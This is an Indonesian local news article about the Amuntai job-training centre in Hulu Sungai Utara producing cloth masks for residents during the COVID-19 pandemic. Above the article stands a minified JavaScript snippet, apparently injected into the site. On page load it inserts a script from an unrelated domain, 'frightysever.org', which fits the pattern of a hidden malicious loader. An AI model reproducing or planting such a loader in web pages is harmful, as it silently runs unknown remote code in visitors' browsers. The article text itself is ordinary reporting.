(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

BLK HSU Berencana Produksi Ribuan Masker Kain untuk Masyarakat

KANALKALIMANTAN.COM, AMUNTAI – Ribuan masker berbahan kain katun produksi Balai Pelatihan Kerja Amuntai Kabupaten Hulu Sungai Utara (HSU) bakal dibagikan langsung kepada masyarakat.

Sebagai langkah awal, sebanyak 1.000 masker telah diserahkan Tenaga Instruktur Pelatihan BLK Amuntai, Rizal Fahmi bersama dua rekan instruktur lainnya kepada Bupati HSU H Abdul Wahid di rumah dinas Bupati, Selasa (7/4/2020) malam.

Rizal Fahmi kepada kanalkalimantan.com, Rabu (8/2/2020) mengakui setidaknya sebanyak 1.500 masker berhasil dibikin selama kurun waktu satu minggu dari peserta pelatihan kerja BLK Amuntai jurusan tata busana dibantu para alumni pelatihan. Dari 1.500 masker yang berhasil dikerjakan, 500 masker diserahkan ke balai besar BLK di bekasi untuk selanjutnya diteruskan ke Kementerian Tenaga Kerja.

“Sedangkan sebanyak 1.000 masker diserahkan kepada Bupati HSU H Abdul Wahid untuk dibagikan kembali kepada masyarakat,” ujar Rizal Fahmi.

Menurutnya, hal ini dilakukan sesuai arahan Balai Besar Pelatihan Kerja di Bekasi agar BLK Amuntai turut berkontribusi membantu masyarakat di tengah pandemi Corona. Caranya yaknu mengalihkan peserta jurusan busana untuk membuat masker di rumah masing-masing.

Lebih lanjut, Rizal menyebut hasil produksi tersebut sangat di apresiasi oleh Bupati atas kepedulian dan kontribusi yang dilakukan pihak BLK Amuntai dalam membantu masyarakat. “Bahkan Bapak Bupati mengintruksikan kami agar bisa lagi membikin 3.000 sampai 5.000 masker lagi,” ujarnya.

Kendati berencana akan melakukan produksi ribuan masker lagi, Rizal mengaku ada beberapa kendala yang dihadapi. Salah satunya mulai langkanya bahan baku tali karet.

Diketahui, selama wabah Corona berlangsung kegiatan pelatihan kerja di BLK Desa Kota Raja terpaksa dihentikan. Namun khusus peserta jurusan tata busana kegiatan pelatihannya dialihkan untuk membuat masker.(kanalkalimantan.com/dew)

Reporter : Dew
Editor : Chell